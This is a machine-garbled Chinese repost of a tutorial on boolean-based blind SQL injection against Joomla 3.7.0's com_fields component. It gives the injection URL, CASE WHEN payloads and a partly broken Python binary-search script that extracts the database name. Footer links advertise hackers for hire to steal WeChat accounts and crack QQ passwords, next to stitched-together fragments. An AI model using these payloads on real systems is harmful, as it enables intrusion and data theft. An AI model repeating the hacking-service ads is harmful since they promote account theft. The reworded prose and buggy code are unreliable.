浅谈SQL盲注测验办法解析与技巧

访客5年前黑客资讯1092

本文一切实战盲注比如,均来自Joomla! 3.7.0 – ‘com_fields’ SQL Injection。
因为篇幅有限,本文就不去分析缝隙原理,直接奉告payload刺进点,来展示盲注的用法(如有需求可自行寻觅各方大佬的研讨文章)。
注入点:
http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=[payload]
BooleanBase
二分法
长处:
比遍历穷举快
缺陷:
简单被封ip
速度慢
原理解析

常用函数:
left(x,y) // 从x的最左边开端截取前y位
ascii(substr((sql),1,1))=num // 从sql句子回来的字符串的之一位开端,截取字符串的一长度,将其转换成ascii编码,然后与num比较
ord(mid((sql),1,1))=num // ord()==ascii()
regexp ‘^[a-z]‘ // 在某些情况下,用正则表达式仍是很便利的!
最终只需求将手艺测验的进程转换成python用代码自动化完成
实战
直接上代码吧
# -*- coding:UTF-8 -*-
import requests
import sys
# 准备工作
url = 'http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]='
string = '0123456789ABCDEFGHIGHLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
cookies = {'9e44025326f96e2d9dc1a2aab2dbe5b1' : 'l1p92lf44gi4s7jdf5q73l0bt5'}
response = requests.get('http://localhost/Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (ascii(substr((select database()),1,1)) > 78) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)',cookies=cookies,timeout=2)
print(response.text)
i = 1
while i 7:
    left = 0
    right = len(string) - 1
    mid = int((left + right) / 2)
    print('n')
    print(flag)
    print('Testing... ' + str(left) + ' ' + str(right))
    # 特殊情况
    if (right - left) == 1:
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timout=2)
        if ('安全令牌无效') in response.text:
            flag = flag + string[right]
            print(flag)
            exit()
        else:
            flag = flag + string[left]
            print(flag)
            exit()
    # 二分法
    while 1:
        mid = int((left + right) / 2)
        payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[mid])))
        poc = url + payload
        print(poc)
        response = requests.get(poc,cookies=cookies,timeout=2)
        # 右半部
        if ('安全令牌无效') in response.text:
            left = mid + 1
            print('left:'+str(left))
        # 左半部
        else:
            right = mid
            print('right:'+str(right))
        if (left == right):
            flag = flag + string[left]
            break
        # 特殊情况
        if (right - left) == 1:
            payload = "(CASE WHEN (ascii(substr((select database()),{0},1))>{1}) THEN 1 ELSE (SELECT 1 FROM DUAL UNION SELECT 2 FROM DUAL) END)".format(i, str(ord(string[left])))

[1] [2] [3] [4]  黑客接单网

相关文章

PHP八大安全函数解析

 在现代互联网中,咱们常常要 从世界各地的用户中取得输入数据。可是,咱们都知道“永久不能信任那些用户输入的数据”。所以在各种的Web开发语言中,都会供给保证用户输入数据安全的函数。在PHP中,有些十分...

中国著名的黑客接单网,黑客怎么能联系方式,黑客技术找联系方式

在http://www.xxxxx.com/网站中随机翻开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后参加and 1= 2和and 1 = 1判...

赌博输了钱能够赢回来吗?我已经是输了二百多万了

6、2019年5月31日0x01 漏洞细节关于成功率的说法((struct cube)h->cube)-1赌博输了钱能够赢回来吗?我已经是输了二百多万了, 有关此研究的更多详细信息,请参阅5月2...

黑客QQ技术服务接单_如何找一名黑客帮忙

在介绍SharedArrayBuffers之前,我需求解说一下并行运转代码和JavaScript。 Powershell个版别对日志的支撑度 cd aflsmart一、 进犯力度黑客QQ技术服务接单,...

闫盼盼_在哪里找黑客-去哪里找黑客盗微信号

255 heads, 63 sectors/track, 8354 cylinders SYN Stealth Scan Timing: About 22.52% done; ETC: 11:0...

163邮箱登录手机版,微信被盗找黑客有用吗,找黑客破解qq密码

当然是浸透!已不至于只能上网 crossdomain.xml文件指定拜访的域名读/写恳求,应该将该文件约束在可信网站之内,然而在spreaker网站上却并非如此。 通配符表明晰答...